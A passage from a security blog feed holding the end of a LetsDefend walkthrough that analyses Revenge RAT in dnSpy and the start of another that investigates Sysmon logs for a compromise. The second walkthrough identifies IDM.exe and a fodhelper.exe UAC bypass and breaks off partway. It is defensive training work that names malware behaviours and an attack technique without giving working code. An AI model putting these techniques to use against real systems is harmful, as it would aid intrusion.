&lt;code&gt;Lime.NativeMethods&lt;/code&gt; &amp;gt; &lt;code&gt;Native&lt;/code&gt; &lt;em&gt;&amp;gt;&lt;/em&gt; &lt;code&gt;GVI&lt;/code&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/bc05df75ebe4889cc11516610f02e45d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;While I&amp;rsquo;m no coding wizard, it appears that within the &lt;code&gt;GVI&lt;/code&gt; method, the &lt;code&gt;GetVolumeInformationA&lt;/code&gt; function is imported from &lt;strong&gt;kernel32.dll&lt;/strong&gt; and called. Then, the volume data retrieved by this function is stored in the &lt;code&gt;IP&lt;/code&gt; variable_._&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1986px&#34; data-flex-grow=&#34;827&#34; height=&#34;145&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/66827cd6ae6b93592d29648c4eb0e80a_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/66827cd6ae6b93592d29648c4eb0e80a_MD5_hu_53e51a28d9fc304c.png 800w, https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/66827cd6ae6b93592d29648c4eb0e80a_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-function-was-used-to-retrieve-information-about-installed-video-capturedrivers&#34;&gt;Question 7: What function was used to retrieve information about installed video capture drivers?&#xA;&lt;/h3&gt;&lt;p&gt;For &lt;strong&gt;Question 7&lt;/strong&gt;, we need to look for a function that collects information about the victim&amp;rsquo;s video capture (aka camera) drivers. For this, let&amp;rsquo;s circle back to the &lt;code&gt;IdGenerator&lt;/code&gt; class under &lt;code&gt;Lime.Helper&lt;/code&gt; where we found the answer to &lt;strong&gt;Question 3.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/d1db789abd4e417ec9e0b3f55d69a13d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;GetCamera()&lt;/p&gt;&#xA;&lt;p&gt;There we&amp;rsquo;ll find a &lt;code&gt;GetCamera()&lt;/code&gt; method. While this seems like a good match based on the name, let&amp;rsquo;s double-verify this again with &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/vfw/nf-vfw-capgetdriverdescriptionw&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Microsoft Learn&lt;/strong&gt;&lt;/a&gt; which states that:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The capGetDriverDescription function retrieves the version description of the capture driver.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1920px&#34; data-flex-grow=&#34;800&#34; height=&#34;150&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/d9b6b04b64fda3ec79989da293832e77_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/d9b6b04b64fda3ec79989da293832e77_MD5_hu_8ec73098a36cc07.png 800w, https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/d9b6b04b64fda3ec79989da293832e77_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-value-of-the-id-after-removing-obfuscation&#34;&gt;Question 8: What is the value of the ID after removing obfuscation?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the last question! To answer &lt;strong&gt;Question 8,&lt;/strong&gt; we&amp;rsquo;ll jump back to the &lt;code&gt;Config&lt;/code&gt; class where already found the answers to &lt;strong&gt;Questions 2 &amp;amp; 4&lt;/strong&gt;, this time focusing on the &lt;code&gt;id&lt;/code&gt; string.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/111495024065f9e2f51b94059b8f3f19_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The question tells us that the value is &lt;em&gt;obfuscated&lt;/em&gt; (likely in &lt;strong&gt;Base64)&lt;/strong&gt;, so we&amp;rsquo;ll need to decode it to find the answer. To do this, we&amp;rsquo;ll use &lt;strong&gt;CyberChef&lt;/strong&gt; from &lt;em&gt;Tools&lt;/em&gt; folder to perform some operations on the string. Just paste the value into the &lt;em&gt;input&lt;/em&gt; box and add &amp;quot; # &amp;ldquo;From Base64&amp;quot;to the recipe:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;386px&#34; data-flex-grow=&#34;160&#34; height=&#34;497&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/56c77b8575f22e815004bc8cc9529f7c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Easily enough, we&amp;rsquo;ve decoded the string and have uncovered the answer to &lt;strong&gt;Question 8!&lt;/strong&gt; Now let&amp;rsquo;s wrap up this analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1800px&#34; data-flex-grow=&#34;750&#34; height=&#34;160&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/5f76b01fd8a3426ff51f5332e9f42773_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/5f76b01fd8a3426ff51f5332e9f42773_MD5_hu_33c90d78ca50d633.png 800w, https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/5f76b01fd8a3426ff51f5332e9f42773_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Mission accomplished! Using &lt;strong&gt;Detect-It-Easy,&lt;/strong&gt; we figured out that the malware binary was compiled with &lt;em&gt;VB.NET&lt;/em&gt; and then discovered some external research about the RAT from &lt;strong&gt;Perception Point&lt;/strong&gt; to add some context to the investigation. Then, we brought the malware sample into &lt;strong&gt;dnSpy&lt;/strong&gt; to uncover details about the information it collects about a victim&amp;rsquo;s system and how these functions work from &lt;strong&gt;Microsoft Learn&lt;/strong&gt;. Now that we have scoped the attack and completed our objectives, let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/revenge-rat&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Revenge RAT&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, for yet another engaging and challenging lab! I tend to stumble through reverse engineering challenges since I do not have a coding background and even the terms can be confusing! Even so, I always try to push myself to learn about new things outside of my comfort zone by tackling unfamiliar topics. Fortunately, the power of research helped me understand the bigger picture of the malware, allowing me to analyze it more confidently. Overall, this lab was a great learning opportunity, especially getting some hands-on time with &lt;strong&gt;dnSpy&lt;/strong&gt; and expanding my toolset. Practice makes perfect, after all!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Wikipedia (Visual Basic (.NET)):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Visual_Basic_%28.NET%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/Visual_Basic_(.NET)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;dnSpy:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/dnSpy/dnSpy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/dnSpy/dnSpy&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Perception-Point:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — SetThreadExecutionState:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-setthreadexecutionstate&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-setthreadexecutionstate&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — GetVolumeInformationA:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getvolumeinformationa&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getvolumeinformationa&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — capGetDriverDescriptionA:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/vfw/nf-vfw-capgetdriverdescriptiona&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/win32/api/vfw/nf-vfw-capgetdriverdescriptiona&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Log Analysis with Sysmon Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/</link>
            <pubDate>Mon, 18 Nov 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Log Analysis with Sysmon Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--log-analysis-with-sysmon-walkthrough&#34;&gt;LetsDefend — Log Analysis with Sysmon Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;an-endpoint-forensic-investigation-with-sysmon-evtxecmd-timeline-explorer-and-mitreattck&#34;&gt;An Endpoint Forensic Investigation with Sysmon, EvtxECmd, Timeline Explorer, and MITRE ATT&amp;amp;CK&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/log-analysis-with-sysmon&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Log Analysis with Sysmon&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. Prepare to dive into the world of digital forensics and incident response (DFIR).&lt;/p&gt;&#xA;&lt;p&gt;In this scenario, a victim&amp;rsquo;s device has been compromised with malware, and we need to investigate what happened to contain the threat. Our objective is to analyze the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Sysmon&lt;/em&gt;&lt;/a&gt; event logs to determine how the attacker gained initial access, escalated privileges, evaded the system&amp;rsquo;s defenses, and what tools they used to do it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Sysmon&lt;/strong&gt;&lt;/a&gt; is a utility that is part of the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Microsoft Sysinternals&lt;/em&gt;&lt;/a&gt; suite. It runs as a system service and monitors detailed system activity, like process creation, file creation, and network connections, and logs it to the &lt;em&gt;Windows Event Log&lt;/em&gt;. &lt;em&gt;Sysmon&lt;/em&gt; also has its own event types that can be used to filter specific activity in the logs.&lt;/p&gt;&#xA;&lt;p&gt;To analyze the &lt;em&gt;Sysmon&lt;/em&gt; logs, we&amp;rsquo;ll leverage &lt;em&gt;Eric Zimmerman&amp;rsquo;s&lt;/em&gt; &lt;strong&gt;EvtxECMD&lt;/strong&gt; and &lt;strong&gt;Timeline Explorer&lt;/strong&gt;. Then, we&amp;rsquo;ll map the adversary&amp;rsquo;s techniques and software to &lt;strong&gt;MITRE ATT&amp;amp;CK,&lt;/strong&gt; a global knowledge base of adversary tactics and techniques, to gain a comprehensive view of the attack.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please &lt;strong&gt;give it a clap&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/log-analysis-with-sysmon&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/log-analysis-with-sysmon&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Our company has experienced a breach on one of its endpoints. Your task is to investigate the breach thoroughly by analyzing the Sysmon logs of the compromised endpoint to gather all necessary information regarding the attack.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-which-file-gave-access-to-the-attacker&#34;&gt;Question 1: Which file gave access to the attacker?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off this challenge by extracting &lt;em&gt;Sysmon_chall.zip.&lt;/em&gt; Inside of the archive, we&amp;rsquo;ll have two files: &lt;em&gt;Sysmon.evtx&lt;/em&gt; and &lt;em&gt;Sysmon.json.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The first file, &lt;em&gt;Sysmon.evtx,&lt;/em&gt; is a &lt;em&gt;Windows Event Log&lt;/em&gt; file that we can open and view in the &lt;em&gt;Windows Event Viewer.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The second file, &lt;em&gt;Sysmon.json&lt;/em&gt;, contains the same information as the first file, but in the &lt;em&gt;JSON&lt;/em&gt; format so it can be imported into different data analytics tools for analysis.&lt;/p&gt;&#xA;&lt;p&gt;For this investigation, we&amp;rsquo;ll start with &lt;em&gt;Sysmon.evtx.&lt;/em&gt; Double-click it and it will open with the &lt;em&gt;Windows Event Log Viewer&lt;/em&gt; as a saved log within our analysis environment.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/7709318b00b1688ec4a7c74bcdfb268f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;But before we dive headfirst into the &lt;em&gt;Event Logs&lt;/em&gt;, let&amp;rsquo;s back up a bit and get familiar with the &lt;strong&gt;Sysmon Events&lt;/strong&gt; so we can analyze the logs more efficiently by filtering for the relevant event IDs. This is reference will be key to working through this investigation, so keep it handy:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Sysmon Events Reference:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#events&#34;  title=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#events&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Sysmon - Sysinternals&lt;/strong&gt;&#xA;_Monitors and reports key system activity via the Windows event log._learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#events&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, armed with some background knowledge, let&amp;rsquo;s jump into the &lt;em&gt;Event Viewer&lt;/em&gt; and start hunting for the malicious file that gave the attacker access to the victim&amp;rsquo;s device. To narrow down the scope of our logs, let&amp;rsquo;s filter by &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-1-process-creation&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event ID 1:&lt;/strong&gt; &lt;strong&gt;Process Creation&lt;/strong&gt;&lt;/a&gt; and then sort descending order to look at the earliest event first.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/11e56088c3f4653e95adb54746d10da5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Reviewing the processes, we stumble on the above event referencing unusual executable, &lt;strong&gt;IDM.exe&lt;/strong&gt;&lt;em&gt;.&lt;/em&gt; To investigate this process further, let&amp;rsquo;s use the &lt;strong&gt;Find&lt;/strong&gt; button and analyze the other events referring to this executable.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1222px&#34; data-flex-grow=&#34;509&#34; height=&#34;157&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/c8212b541ac30cc923004422307dd4b1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To analyze the hits, switch over to the &lt;em&gt;Details&lt;/em&gt; tab view, and after a couple of results, we&amp;rsquo;ll notice that first &lt;em&gt;IDM.exe&lt;/em&gt; spawns a &lt;em&gt;Windows Command Shell (cmd.exe)&lt;/em&gt; and then in the following event, a very suspicious command line&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;347px&#34; data-flex-grow=&#34;144&#34; height=&#34;552&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/0d4bc0e73d239bb4fb2606d5e68737b1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;These are enough red flags to determine that &lt;em&gt;IDM.exe&lt;/em&gt; is the answer to &lt;strong&gt;Question 1&lt;/strong&gt;. Let&amp;rsquo;s perform some further analysis on &lt;strong&gt;fodhelper.exe&lt;/strong&gt; to better understand what the attacker is doing.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2057px&#34; data-flex-grow=&#34;857&#34; height=&#34;140&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/5566f43af6c4e847d512f1609986cd27_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/5566f43af6c4e847d512f1609986cd27_MD5_hu_f86db7084828c551.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/5566f43af6c4e847d512f1609986cd27_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-did-the-attacker-use-to-bypass-uac-mention-theexe&#34;&gt;Question 2: What did the attacker use to bypass UAC? Mention the EXE.&#xA;&lt;/h3&gt;&lt;p&gt;Before we go too far, let&amp;rsquo;s give ourselves another option to analyze the &lt;em&gt;Event Log.&lt;/em&gt; Sometimes, having a different view or method of analyzing data can be helpful to understand the relationships between processes.&lt;/p&gt;&#xA;&lt;p&gt;Rather than manually searching the &lt;em&gt;Event Viewer&lt;/em&gt;, we&amp;rsquo;re going to also parse the log using &lt;em&gt;Eric Zimmerman&amp;rsquo;s&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;EvtxECmd&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;,&lt;/strong&gt; export it to a &lt;em&gt;CSV,&lt;/em&gt; then sort the results using another of his utilities, &lt;em&gt;Timeline Explorer.&lt;/em&gt; This will allow us to search and filter the data more efficiently than manually browsing the &lt;em&gt;Event Viewer&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Handily, both of the &lt;em&gt;Eric Zimmerman&lt;/em&gt; utilities are already installed on the &lt;em&gt;LetsDefend&lt;/em&gt; environment, so we simply need to open the &lt;em&gt;Command Prompt as Administrator&lt;/em&gt; to launch the utility with the following syntax specifying the &lt;em&gt;.evtx&lt;/em&gt; file and an output directory:&lt;/p&gt;&#xA;&lt;p&gt;EvtxECmd.exe -f &amp;ldquo;C:\Users\LetsDefend\Desktop\ChallengeFile\Sysmon.evtx&amp;rdquo; &amp;ndash;csv YOUR-OUTPUT-DIRECTORY&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/74b4f0d325dad52c4a86e25cc35d10f3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once the output file is created, open it with &lt;em&gt;Timeline Explorer.&lt;/em&gt; To start, we&amp;rsquo;ll replicate the method we used in &lt;strong&gt;Question 1&lt;/strong&gt; and filter by the &lt;em&gt;ParentCommandLine (Payload Data6)&lt;/em&gt; column for &lt;em&gt;IDM.exe:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1015px&#34; data-flex-grow=&#34;423&#34; height=&#34;189&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/9403e91858bf7274b1c097eb02bcfbee_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is a cleaner view of the information we found in the previous question, isn&amp;rsquo;t it?&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s take to &lt;em&gt;Google&lt;/em&gt; for research to understand what &lt;strong&gt;fodhelper.exe&lt;/strong&gt; is and if it can be used in an attack. For example, check out the research from &lt;a class=&#34;link&#34; href=&#34;https://www.atomicredteam.io/atomic-red-team/atomics/T1548.002#atomic-test-4---bypass-uac-using-fodhelper---powershell&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Atomic Red Team&lt;/strong&gt;&lt;/a&gt; about &lt;em&gt;user account control&lt;/em&gt; (&lt;em&gt;UAC&lt;/em&gt;) bypass techniques (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1548/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MITRE ATT&amp;amp;CK — T1548.002&lt;/a&gt;) to see what we can discover.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;203px&#34; data-flex-grow=&#34;84&#34; height=&#34;889&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; 